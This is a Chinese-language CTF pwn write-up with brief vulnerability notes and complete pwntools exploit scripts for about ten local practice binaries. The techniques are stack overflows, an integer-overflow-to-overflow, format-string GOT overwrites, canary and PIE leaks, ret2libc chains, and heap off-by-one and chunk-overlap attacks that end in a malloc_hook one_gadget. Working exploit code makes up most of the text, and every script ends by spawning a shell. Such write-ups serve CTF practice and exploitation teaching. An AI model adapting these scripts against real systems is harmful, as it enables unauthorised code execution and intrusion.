最简单的pwn
- nc然后cat flag
pwn3
- 64位栈溢出,程序有后门,栈溢出然后return到后门即可
from pwn import *
p = process('./pwn3')
p.recvuntil(' something?\n')
payload = 'a'*0x30 + 'bbbbbbbb' + p64(0x400751)
p.sendline(payload)
p.interactive()
pwn7
- 32位教科书栈溢出,先利用write函数泄漏libc地址,然后得到system和binsh地址,最后再system('/bin/sh\x00')
from pwn import *
context.log_level = 'debug'
p = process('./pwn7')
elf = ELF('./pwn7')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
p.recvuntil('your name:\n')
payload = 'a'*0x24 + 'bbbb' + p32(write_plt) + p32(0x0804846B)
payload += p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
log.success('write addr : 0x%x'%write_addr)
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b
libc_base = write_addr - offset_write
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
payload = 'a'*0x24 + 'bbbb' + p32(system_addr) + p32(0xdeadbeef)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
pwn11
- 首先程序是个比较简单的32位elf,是个猜数字游戏
- 漏洞点在read_name函数有个整数溢出,v2为有符号数,而for循环中i为无符号数,所以当有符号数与无符号数比较时,会将有符号数强制转换成无符号数,当输入-1时,v2在比较中就变成了最大的正数,因此可以栈溢出
- 程序正好有个后门,直接栈溢出执行后门即可得到flag
from pwn import *
context.log_level = 'debug'
p = process('./f4n_pwn')
p.recvuntil('length : ')
p.sendline('-1')
payload = 'a'*0x57 + p32(0x080486BB)
p.recvuntil('name : \n')
p.sendline(payload)
p.interactive()
pwn9
- 栈的格式化字符串漏洞,只有一次机会,由于程序开了canary,所以可以将__stack_chk_fail@got改成后门地址,当栈溢出时程序执行__stack_chk_fail函数既能getshell
from pwn import *
context.log_level = 'debug'
p = process('./babyfmt')
elf = ELF('./babyfmt')
stack_chk_fail_got = elf.got['__stack_chk_fail']
#gdb.attach(p)
payload = 'aaaaa%1569d%8$hn' + p64(stack_chk_fail_got)
payload += 'a'*0x60
p.sendline(payload)
p.interactive()
pwn4
- 栈溢出漏洞,程序有system函数,但是没binsh,但是有$0,system($0)可以getshell(略坑)
from pwn import *
context.log_level = 'debug'
p = process('./pwn4')
elf = ELF('./pwn4')
read_plt = elf.plt['read']
read_got = elf.got['read']
system = elf.plt['system']
pop_ret = 0x4007d3
binsh_addr = 0x60111F
p.recvuntil('pwn me\n')
payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_ret) + p64(binsh_addr) + p64(system)
p.sendline(payload)
p.interactive()
pwn5
- 栈上格式化漏洞配合栈溢出漏洞,首先利用格式化泄漏libc地址,然后栈溢出执行system('/bin/sh\x00')
可以得到__libc_start_main_ret地址的偏移为 0x28/8.0 + 6 (64位elf前6个参数为寄存器传参) = 11,然后泄漏libc,得到system和sh的地址
想到栈溢出需要绕过循环,循环中判断输入是否为"鸽子","真香"的母串,于是输入中需要有这两个词才能ret到system函数否则直接退出
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./human')
p.recvuntil('\n\n')
p.sendline('%11$p')
libc_start_main_ret = int(p.recvuntil('\n',drop=True)[2:],16)
log.success('__libc_start_main_ret : 0x%x'%libc_start_main_ret)
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
libc_base = libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_rdi = 0x400933
gdb.attach(p)
payload = 'a鸽子' + 'a'
payload += '真香' + '\x00'
payload = payload.ljust(0x20,'a')
payload += 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.recvuntil('?\n')
p.sendline(payload)
p.interactive()
pwn6
- edit函数存在off by one,可以修改next chunk的size,然后chunk overlapping控制下一堆块的内容,然后修改指针,泄漏地址以及改free_got为system地址,具体可参照hitcon training lab13
from pwn import *
context.log_level = 'debug'
def write(size,content):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('note :')
p.sendline(str(size))
p.recvuntil('note:')
p.sendline(content)
def edit(id,content):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil(' note :')
p.sendline(str(id))
p.recvuntil('note : ')
p.sendline(content)
def show(id):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('note :')
p.sendline(str(id))
def delete(id):
p.recvuntil('choice :')
p.sendline('4')
p.recvuntil('note :')
p.sendline(str(id))
def quit():
p.recvuntil('choice :')
p.sendline('5')
p = process('./heap1')
elf = ELF('./heap1')
free_got = elf.got['free']
write(0x18,'a'*0x10) #0
write(0x10,'b'*0x10) #1
write(0x10,'/bin/sh\x00') #2
edit(0,'a'*0x18 + '\x61')
delete(1)
write(0x50,'ddddd') #1
edit(1,'d'*0x18+p64(0x21)+p64(0x50)+p64(free_got))
# leak freeaddr
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
offset_free = 0x00000000000844f0
offset_system = 0x0000000000045390
libc_base = free_addr - offset_free
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + offset_system
#gdb.attach(p)
edit(1,p64(system_addr))
delete(2)
p.interactive()
read_note
- 栈溢出漏洞,但是开了canary和pie,所以我们先要利用puts函数泄漏canary,elf_base,和libc_base,然后ret到system('/bin/sh\x00')
from pwn import *
context.log_level = 'debug'
p = process('./read_note')
#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)
# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)
p.interactive()
pwn10
- 有个堆溢出漏洞,通过构造small bins,然后溢出修改next chunk的pre size和size然后利用前向合并得到正在使用的堆块,然后通过unsorted bin泄漏libc,再修改malloc_hook为one_gadget
from pwn import *
#context.log_level = 'debug'
def create(size):
p.recvuntil('choice:>\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline(str(size))
p.recvuntil('y/n)\n')
p.sendline('n')
def write(index,size,data):
p.recvuntil('choice:>\n')
p.sendline('2')
p.recvuntil('write: ')
p.sendline(str(index))
p.recvuntil('write: ')
p.sendline(str(size))
p.recvuntil('write:\n')
p.send(data)
def view(index):
p.recvuntil('choice:>\n')
p.sendline('4')
p.recvuntil('look: ')
p.sendline(str(index))
def delete(index):
p.recvuntil('choice:>\n')
p.sendline('3')
p.recvuntil('delete: ')
p.sendline(str(index))
p = process('./diary')
create(0x10) #0
create(0x80) #1
write(0,0x6,'aaaa')
create(0x80) #2
create(0x80) #3
create(0x60) #4
create(0x60) #5
create(0x10) #6
delete(1)
payload = p64(0)*16 + p64(0x120) + p64(0x90)
write(2,len(payload),payload)
delete(3)
create(0x80) #1
view(2)
p.recvuntil('---\n')
libc_base = u64(p.recv(8)) - 88 - 0x3c4b20
log.success('libc_base : 0x%x'%libc_base)
malloc_hook = libc_base + 0x3c4b10
log.success('malloc_hook : 0x%x'%malloc_hook)
one_gadget = libc_base + 0x4526a
delete(5)
payload = p64(0)*12 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
write(4,len(payload),payload)
create(0x60) #3
create(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
write(5,len(payload),payload)
p.recvuntil('choice:>\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline('20')
#gdb.attach(p)
p.interactive()